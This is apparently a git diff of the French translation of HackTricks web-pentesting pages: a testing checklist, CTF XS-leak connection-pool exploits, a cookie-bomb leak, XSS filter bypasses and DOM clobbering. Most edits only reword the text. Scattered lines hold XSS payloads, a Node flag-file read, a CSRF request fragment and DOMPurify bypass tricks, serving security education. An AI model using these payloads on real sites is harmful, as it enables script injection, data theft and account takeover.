PostMessage**](../postmessage-vulnerabilities/) ### **En-têtes HTTP** -Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités pourraient être présentes. +En fonction des en-têtes HTTP fournis par le serveur Web, certaines vulnérabilités pourraient être présentes. * [ ] [**Clickjacking**](../clickjacking.md) -* [ ] [**Contournement de la politique de sécurité de contenu**](../content-security-policy-csp-bypass/) +* [ ] [**Contournement de la politique de sécurité du contenu**](../content-security-policy-csp-bypass/) * [ ] [**Piratage de cookies**](../hacking-with-cookies/) -* [ ] [**CORS - Mauvaises configurations & Contournement**](../cors-bypass.md) +* [ ] [**CORS - Mauvaises configurations et contournements**](../cors-bypass.md) ### **Contournements** -Il existe plusieurs fonctionnalités spécifiques où certains contournements pourraient être utiles pour les bypasser +Il existe plusieurs fonctionnalités spécifiques où des contournements pourraient être utiles pour les contourner. -* [ ] [**Contournement de 2FA/OTP**](../2fa-bypass.md) +* [ ] [**Contournement 2FA/OTP**](../2fa-bypass.md) * [ ] [**Contournement du processus de paiement**](../bypass-payment-process.md) -* [ ] [**Contournement de Captcha**](../captcha-bypass.md) +* [ ] [**Contournement de captcha**](../captcha-bypass.md) * [ ] [**Contournement de connexion**](../login-bypass/) -* [ ] [**Condition de concurrence**](../race-condition.md) +* [ ] [**Condition de course**](../race-condition.md) * [ ] [**Contournement de limite de taux**](../rate-limit-bypass.md) * [ ] [**Contournement de réinitialisation de mot de passe oublié**](../reset-password.md) * [ ] [**Vulnérabilités d'inscription**](../registration-vulnerabilities.md) ### **Objets structurés / Fonctionnalités spécifiques** -Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé dans un langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\ -Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si **un format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'email). +Certaines fonctionnalités nécessiteront que les **données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\ +Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'e-mail). * [ ] [**Désérialisation**](../deserialization/) -* [ ] [**Injection d'en-tête d'email**](../email-injections.md) +* [ ] [**Injection d'en-tête d'e-mail**](../email-injections.md) * [ ] [**Vulnérabilités JWT**](../hacking-jwt-json-web-tokens.md) -* [ ] [**Entité externe XML**](../xxe-xee-xml-external-entity.md) +* [ ] [**Entité XML externe**](../xxe-xee-xml-external-entity.md) ### Fichiers -Les fonctionnalités qui permettent de télécharger des fichiers pourraient être vulnérables à plusieurs problèmes.\ -Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur pourraient exécuter du code inattendu.\ -Les utilisateurs qui ouvrent des fichiers téléchargés par des utilisateurs ou générés automatiquement incluant des entrées utilisateur pourraient être compromis. +Les fonctionnalités permettant de télécharger des fichiers peuvent être vulnérables à plusieurs problèmes.\ +Les fonctionnalités qui génèrent des fichiers incluant une entrée utilisateur pourraient exécuter un code inattendu.\ +Les utilisateurs qui ouvrent des fichiers téléchargés par des utilisateurs ou générés automatiquement incluant une entrée utilisateur pourraient être compromis. * [ ] [**Téléchargement de fichiers**](../file-upload/) * [ ] [**Injection de formule**](../formula-csv-doc-latex-ghostscript-injection.md) * [ ] [**Injection PDF**](../xss-cross-site-scripting/pdf-injection.md) * [ ] [**XSS côté serveur**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) -### **Gestion d'identité externe** +### **Gestion de l'identité externe** -* [ ] [**OAUTH vers prise de contrôle de compte**](../oauth-to-account-takeover.md) +* [ ] [**OAUTH pour prise de contrôle de compte**](../oauth-to-account-takeover.md) * [ ] [**Attaques SAML**](../saml-attacks/) ### **Autres vulnérabilités utiles** -Ces vulnérabilités pourraient aider à exploiter d'autres vulnérabilités. +Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités. * [ ] [**Prise de contrôle de domaine/sous-domaine**](../domain-subdomain-takeover.md) * [ ] [**IDOR**](../idor.md) @@ -142,14 +142,14 @@ Ces vulnérabilités pourraient aider à exploiter d'autres vulnérabilités.
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/xs-search/connection-pool-by-destination-example.md b/pentesting-web/xs-search/connection-pool-by-destination-example.md index 4299ccb3c..d3cd976d8 100644 --- a/pentesting-web/xs-search/connection-pool-by-destination-example.md +++ b/pentesting-web/xs-search/connection-pool-by-destination-example.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -18,7 +18,7 @@ Dans [**cette exploitation**](https://gist.github.com/terjanq/0bc49a8ef52b0e896f [connection-pool-by-destination-example.md](connection-pool-by-destination-example.md) {% endcontent-ref %} -Voyons comment cette exploitation fonctionne: +Voyons comment cette exploitation fonctionne : * L'attaquant injectera une note avec autant de balises **` -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) diff --git a/pentesting-web/xs-search/connection-pool-example.md b/pentesting-web/xs-search/connection-pool-example.md index ffbab3a56..fac20f44a 100644 --- a/pentesting-web/xs-search/connection-pool-example.md +++ b/pentesting-web/xs-search/connection-pool-example.md @@ -1,47 +1,47 @@ -# Exemples de Pool de Connexions +# Exemples de pool de connexions
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Sekaictf2022 - safelist -Dans le challenge [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) donne un exemple d'utilisation d'une **variation** de la technique **Pool de Connexions** pour réaliser une **fuite XS**. +Dans le défi [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) donne un exemple de comment utiliser une **variation** de la technique de **pool de connexions** pour effectuer une **fuite XS**. -Dans ce challenge, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un post. Voici les atouts de l'attaquant : +Dans ce défi, l'objectif est d'exfiltrer un drapeau qui apparaîtra dans la session web des bots à l'intérieur d'un post. Voici les ressources dont dispose l'attaquant : * Le **bot** va **visiter** une **URL** donnée par l'attaquant -* L'attaquant peut **injecter du HTML** dans la page (mais pas de JS, dompurify est utilisé) en abusant d'un **CSRF** faisant en sorte que le **bot crée un post** avec ce HTML. -* L'attaquant peut abuser d'un CSRF pour faire **supprimer** le **premier** **post** dans le web par le **bot**. +* L'attaquant peut **injecter du HTML** dans la page (mais pas de JS, dompurify est utilisé) en abusant d'un **CSRF** pour faire en sorte que le **bot crée un post** avec ce HTML. +* L'attaquant peut abuser d'un CSRF pour faire en sorte que le **bot** **supprime** le **premier post** à l'intérieur du web. * Comme les **posts** sont ordonnés **alphabétiquement**, lorsque le **premier post est supprimé**, si le contenu **HTML** de l'attaquant est **chargé**, cela signifie qu'il était **alphabétiquement avant le drapeau**. -Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est de, **pour chaque caractère à tester**, faire en sorte que le bot : +Par conséquent, pour voler le drapeau, la solution proposée par @Strellyc\_ est, **pour chaque caractère à tester**, de faire en sorte que le bot : -* Crée un **nouveau post** qui **commence** par la partie connue du **drapeau** et plusieurs **chargements d'images**. +* Crée un **nouveau post** qui **commence** par la partie connue du **drapeau** et plusieurs **chargements d'img**. * **Supprime** le **post** en position **0**. * Bloque 255 sockets. * Charge la page avec les posts * Effectue 5 requêtes aléatoires vers un site (example.com dans ce cas) et mesure le temps que cela prend. {% hint style="warning" %} -Si le **post supprimé** était le **drapeau**, cela signifie que toutes les **images** **injectées** dans le HTML vont **se battre** avec les **5 requêtes aléatoires** pour ce **socket débloqué**. Ce qui signifie que le temps mesuré va être plus long que dans l'autre scénario. +Si le **post supprimé** était le **drapeau**, cela signifie que toutes les **images** **injectées** dans le HTML vont **confluer** avec les **5 requêtes aléatoires** pour ce **socket débloqué**. Ce qui signifie que le temps mesuré sera plus long que dans l'autre scénario. -Si le **post supprimé** était le **HTML**, les **5 requêtes aléatoires** seront **plus rapides** car elles n'ont pas besoin de se battre pour ce socket avec le HTML injecté. +Si le **post supprimé** était le **HTML**, les **5 requêtes aléatoires** seront **plus rapides** car elles n'ont pas besoin de lutter pour ce socket avec le HTML injecté. {% endhint %} ### Exploit 1 -Voici le code de l'exploit, tiré de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html): +Voici le code d'exploitation, extrait de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html): ```html
@@ -172,7 +172,7 @@ pwn(); ``` ### Exploit 2 -Même tactique mais code différent de [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) +Même tactique mais code différent provenant de [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) ```html @@ -296,15 +296,15 @@ resolve(isFound) ``` ## DiceCTF 2022 - carrot -Dans ce cas, la première étape de l'exploit consistait à abuser d'un CSRF pour modifier la page où se trouve le flag afin qu'elle contienne **beaucoup plus de contenu** (et donc que son chargement prenne plus de temps), puis à **abuser du pool de connexions pour mesurer le temps d'accès à la page** qui pourrait potentiellement contenir le flag. +Dans ce cas, la première étape de l'exploit consistait à abuser d'un CSRF pour modifier la page où se trouve le drapeau afin qu'elle ait **beaucoup plus de contenu** (et donc le chargement prend plus de temps), puis **abuser du pool de connexions pour mesurer le temps nécessaire pour accéder à la page** qui pourrait potentiellement contenir le drapeau. Dans l'exploit, vous pouvez voir : * Abuser du CSRF -* Occuper tous les sockets sauf 1 +* Occuper tous les sockets sauf un * Calibrer la réponse -* Commencer le bruteforce en accédant à la page potentielle avec le flag -* La page potentielle sera accédée et immédiatement une URL contrôlée par l'attaquant sera également accédée pour vérifier combien de temps les deux requêtes prennent. +* Commencer le bruteforce en accédant à la page potentielle avec le drapeau +* La page potentielle sera accédée et immédiatement une URL contrôlée par les attaquants sera également accédée pour vérifier combien de temps prennent les deux requêtes. ```html

DiceCTF 2022 web/carrot

@@ -508,14 +508,14 @@ exploit('dice{') ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md b/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md index 69998656b..cb01ad4cd 100644 --- a/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md +++ b/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md @@ -1,10 +1,10 @@ -# Bombe de cookies + Fuite XS Onerror +# Cookie Bomb + Fuite XS Onerror
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -12,7 +12,7 @@
-Le **script** suivant pris [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) exploite une fonctionnalité qui permet à l'utilisateur d'**insérer n'importe quelle quantité de cookies**, puis de charger un fichier en tant que script sachant que la vraie réponse sera plus grande que la fausse et ensuite. En cas de succès, la réponse est une redirection avec une URL résultante plus longue, **trop grande pour être gérée par le serveur donc renvoie un code d'état http d'erreur**. Si la recherche échoue, rien ne se passera car l'URL est courte. +Le **script** suivant pris à partir de [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) exploite une fonctionnalité qui permet à l'utilisateur d'**insérer n'importe quelle quantité de cookies**, puis de charger un fichier en tant que script sachant que la vraie réponse sera plus grande que la fausse et ensuite. En cas de succès, la réponse est une redirection avec une URL résultante plus longue, **trop grande pour être gérée par le serveur donc renvoie un code d'état http d'erreur**. Si la recherche échoue, rien ne se passera car l'URL est courte. ```html <>'";
` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`. @@ -482,10 +482,10 @@ Si `<>` sont en train d'être nettoyés, vous pouvez toujours échapper la chaî ';alert(document.domain)// \';alert(document.domain)// ``` -### Modèles de chaînes de caractères \`\` +### Modèles de littéraux \`\` -Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\ -Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne de caractères JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** : +Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de littéraux car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\ +Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** : Cela peut être **abusé** en utilisant : ```javascript @@ -505,7 +505,7 @@ loop`````````````` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Sauts de ligne JavaScript (à partir de** [**l'astuce de saut de ligne JavaScript**](./#javascript-new-lines) **)** +**Nouvelles lignes JavaScript (à partir de** [**l'astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -729,7 +729,7 @@ top[8680439..toString(30)](1) ```` ## **Vulnérabilités DOM** -Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\ +Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\ **En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} @@ -840,7 +840,7 @@ const char* const kSupportedJavascriptTypes[] = { La réponse est: * **module** (par défaut, rien à expliquer) -* [**webbundle**](https://web.dev/web-bundles/): Les Web Bundles sont une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**. +* [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**. ```html ``` -Ce comportement a été utilisé dans [**cette explication**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'abuser et déclencher une XSS. +Ce comportement a été utilisé dans [**cette analyse**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'exploiter et déclencher une XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne de la manière suivante : ```html @@ -887,7 +887,7 @@ Ce comportement a été utilisé dans [**cette explication**](https://github.com ``` ### Types de contenu Web pour XSS -(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs : +(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs : * text/html * application/xhtml+xml @@ -912,7 +912,7 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es ``` ### Modèles de Remplacement Spéciaux -Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", )`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaîne spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))`` +Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", )`** est utilisé. L'attaquant pourrait utiliser [**des remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))`` Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire. @@ -955,7 +955,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cette analyse**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire : +Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cette analyse**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable : * En utilisant import() ```javascript @@ -964,7 +964,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Accès indirect à `require` -[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci: +[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci : ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1023,7 +1023,7 @@ trigger() * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) -* JSFuck plus sophistiqué: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +* JSFuck plus sophistiqué : [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1050,9 +1050,9 @@ trigger() ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## Charges utiles XSS courantes +## Payloads XSS courants -### Plusieurs charges utiles en 1 +### Plusieurs payloads en 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) @@ -1208,8 +1208,6 @@ changeReq.send('csrf='+token+'&email=test@test.com') ``` ### Vol de messages PostMessage - -Stealing PostMessage messages ```markup ``` -## **Écraser `window.someObject`** +## **Écrasement de `window.someObject`** En JavaScript, il est courant de trouver : ```javascript var someObject = window.someObject || {}; ``` -Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément ancre pointant vers un script malveillant : +Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancre pointant vers un script malveillant : ```html ``` @@ -101,7 +101,7 @@ document.body.appendChild(script); ``` Ce méthode exploite la source du script pour exécuter du code non désiré. -**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **``** fera que l'encodage HTML `"` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**. +**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **``** fera en sorte que l'encodage HTML `"` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**. Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels. @@ -113,11 +113,11 @@ Selon la documentation, il est possible de remplacer les attributs de l'objet do > L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux : > -> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) 